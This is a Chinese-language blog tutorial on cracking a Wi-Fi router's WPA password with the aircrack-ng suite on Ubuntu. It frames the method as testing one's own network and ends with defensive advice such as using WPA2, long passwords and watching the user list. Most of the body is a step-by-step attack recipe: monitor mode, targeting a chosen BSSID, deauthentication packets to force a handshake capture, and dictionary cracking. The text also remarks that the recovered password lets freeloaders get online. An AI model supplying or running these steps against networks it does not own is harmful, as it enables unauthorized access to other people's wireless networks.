现在破解无线路由器的软件大部分都是基于linux系统开发的,当然,经过许多人的努力以及cygwin的强大,现在破解无线路由器的工具大部分也可以在windows系统下运行了。不过,此次破解无线路由器我们还是使用了原生的linux系统,也是现在最流行的linux发行版操作系统ubuntu。
而破解无线路由器的软件我们使用的是aircrack,这是一套强大的破解无线路由器的工具包。使用它,可以让你非常方便的测试自己的无线网络是否不堪一击。破解无线路由器是非常不道德的事情,我们必须严加测试我们的无线网络,以免被不法之徒突破,造成不必要的损失。
古人云:知己知彼,百战不殆。我们想防护无线网络,必须得了解黑客是如何突破我们的无线网络密码防线的。
安装aircrack软件包
在ubuntu平台下安装AIRCRACK, 比较简单。我们可以直接使用它的新立得软件库里的现有程序,所以,我们只需要一个命令即可:
#apt-get install aircrack-ng
使用AIRCRACK破解无线路由器
#airmon-ng start wlan1
现在我们抓取几个wifi网络
#airodump-ng mon0
你可以看到BSSID,ESSID, and CHANNEL以及加密方式。选择你想破解的BSSID
输入以下命令
#airodump-ng -c 1 -w (filename) –bssid (bssid) mon0
如上图,我们已经连接成功了。
在破解无线网络之前,我们需要握手(handshake)。为了形成握手(hangshake),我们需要另一个终端从网络外面连入。
#aireplay-ng -0 5 -a (bssid) mon0
现在一个握手包文件已经被创建,我们可以去看抓包结果啦。cirl+c停止step3中的进程,然后在终端中输入:
aircrack-ng drag_file_into_terminal
最后输入以下命令进行破解
#aircrack-ng -w dictionary_directory handshake_file
最后得出了无线密码,蹭网的人就可以使用这个密码免费上网了。对于这种情况,我们能做的就是,使用最新的加密方法加密。现在最新的加密方法就是WPA2了,再一个就是尽可能的把密码设置的复杂、长,增加密码破解的难度,同时,还要经常查看无线网络用户列表,及时发现可疑的用户。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/57987.html